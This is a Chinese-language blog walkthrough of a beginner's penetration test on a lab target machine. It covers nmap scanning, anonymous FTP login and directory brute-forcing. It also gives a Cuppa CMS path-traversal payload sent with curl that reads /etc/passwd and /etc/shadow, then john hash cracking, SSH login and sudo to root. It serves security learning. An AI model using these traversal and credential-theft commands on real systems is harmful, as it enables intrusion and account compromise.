** 写在开头:** 第一次做渗透,按照大佬的思路复现了一遍,学习步骤,总结经验
# 在开启靶机前先对现有的 ip 地址进行扫描,方便对目标靶机进行识别
(nmap 扫描时,运用 sudo 能获得更多信息)
查看本机 ip(靶机是用桥接模式连的)
ifconfig en0 |
nmap 扫描全网段(靶机开启前,开启后再扫一次,拿到靶机 ip 地址)
sudo nmap -sn 192.168.1.103/24 |
2. 拿到 ip 后对端口进行扫描(获取开放端口和服务)
sudo nmap --min-rate 10000 -p- 192.168.1.110 |
发现扫描出四个端口,利用 nmap 的 - sT -sV -O 扫描方式来搜集信息
(依次为 TCP 扫描、探测开放服务的版本、探测操作系统版本)
sudo nmap -sT -sV -O -p21,22,80,3306 192.168.1.110 |
可以看到端口开放的服务版本和操作系统是 linux
接着再利用 - sU 来补充遗漏的一些信息(UDP 扫描)
sudo nmap -sU -p21,22,80,3306 192.168.1.110 |
发现除了 3306 端口外,其他三个端口的服务都开启,分别是 ftp、ssh 和 http
# 探测漏洞(启发后续操作)
先通过 nmap 自带的 vuln 脚本对这几个端口扫描一下可能存在的历史常见漏洞
sudo nmap --script=vuln -p21,22,80,3306 192.168.1.110 |
扫描发现 http 服务中没有 csrf,也没有 xss,但是存在 Dos 拒绝服务攻击漏洞,而且还有一个 CMS 的 wordpress 登录页面,大佬说 Dos 拒绝没什么启发,把关注重点放在 cms 上
# 入手方向分析(排列渗透优先级)
一共有四个端口:21,22,80,3306
(1)80 端口是 http 的 web 端口,且已经知道里面可能有 wordpress 的 cms,具有较大的攻击面。这应该是最有可能的突破口
(2)22 是 ssh 远程登录端口,通常没啥漏洞,但是也不绝对,有可能存在弱口令或者暴力破解登录啥的,但这不是我们直接入手的角度,应该放在最后考虑。
(3)21 端口是 ftp 文件传输协议的端口,有可能存在匿名登录,FTP 服务器中也可能有一些信息,也有一定的攻击面。FTP 的突破口比较单一,操作比较容易。
(4)3306 端口是 MySQL 数据库的端口,前面漏洞扫描也并没有发现太多的思路,不过如果能登录数据库,应该也有信息。
综上,80 端口是最有可能的突破口,但是由于 FTP 可能存在匿名登录,21 端口的操作比较容易,我们不妨先试试 21 端口,再看 80 端口,接着看 3306 数据库,最后尝试 22 远程登录。
# FTP 渗透
首先尝试能不能匿名登录或者弱口令爆破
ftp 192.168.1.110 |
匿名登录:用户名为 anonymous,密码为空
成功匿名登录
之后就是 ls 去看看目录里都有什么东西
一个个去看,并用 mget 将文件下载到本地
(以 content 目录里文件为例)
ftp> mget 0*.txt |
发现全是 txt 文件,一个个 cat 过去就行,并没有发现什么非常关键信息
# Web 渗透
主要就是对于 80 端口,浏览器去访问 ip,发现是一个 Apache 服务,此外没什么发现。由于先前扫描提示过可能有 wordpress 的 cms,就先进行目录爆破,看看有什么发现
sudo gobuster dir -u 192.168.1.110 -w /Users/jiangjiyang/Desktop/common.txt |
看到扫描出了三个子目录,分别是 /administrator
、 /javascript
、 /wordpress
一个个来,首先是 /administrator
,浏览器访问
直接跳转到了 /installation
,发现是一个 Cuppa 的 CMS
利用 searchsploit
来找寻 Cuppa 可能存在的漏洞
searchsploit cuppa |
确实存在,查看提供的 25971.txt 文档
看到 cuppa 用了 request 来远程包含,可能含有文件包含漏洞,文档也给出了可以用来构造的 payload:
将 target 改成当前靶机地址,结果发现路径不存在,继续尝试前面扫出来的三个
其中 /administrator
下的页面有所不同,给出了 configuration,应该是读到了 /etc/passwd
,但是并没用爆出信息
回看文档,有利用 base64 编码,说明存在编码问题,在利用 curl 时,尝试 url 编码
curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.1.110/administrator/alerts/alertConfigField.php |
成功获得了 /etc/passwd
的内容,需要注意的是,在 liunx 系统中 passwd 文件中所有账户的密码都是用 x 代替,真正加密后的密码存放在 /etc/shadow
用同样的 payload 去获取 shadow 中的内容
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.1.110/administrator/alerts/alertConfigField.php |
显示的加密账号只有 root、www-data、w1r3s
用 john 去尝试解密(先将要解密的账号存入文档)
john /Users/jiangjiyang/Desktop/nt.txt |
john 显示可能是 sha512 加密
由于之前已经跑过一次了,john 重复破解密码不会显示结果,查看历史破解记录
john --show /Users/jiangjiyang/Desktop/nt.txt |
成功解出来两个密码,root 解不出来,不过问题不大,因为靶机的登录是靠 w1r3s 的密码
回过头来看看剩下两个路径: /javascript
、 /wordpress
访问 /wordpress
时,直接跳转到了 localhost,拒接访问
访问 /javascript
时,显示没有权限
所以剩下两个也并没有什么可以利用的点,开始下一步,登录靶机
# 提权
由解密结果可知,w1r3s 的密码是 computer,之前看到 ssh 服务也开启着,利用 ssh 远程登录
ssh w1r3s@192.168.1.110 |
成功登录
查看一下自己的权限
发现是 all
那么就能用系统权限运行 /bin/bash
去切换成 root
w1r3s@W1R3S:~$ sudo /bin/bash |
拿到 root 权限后就基本已经完成了对靶机的渗透
# 总结
靶机渗透先搜集 ip,端口,服务,操作系统的信息
利用搜集到的信息确定思路和方向
按照重要和难易程度去一个个尝试渗透
在渗透过程中灵活运用工具去获取关键文件和漏洞
利用漏洞或者文件获取关键信息,如账密之类
尝试登录,提权去拿 root 权限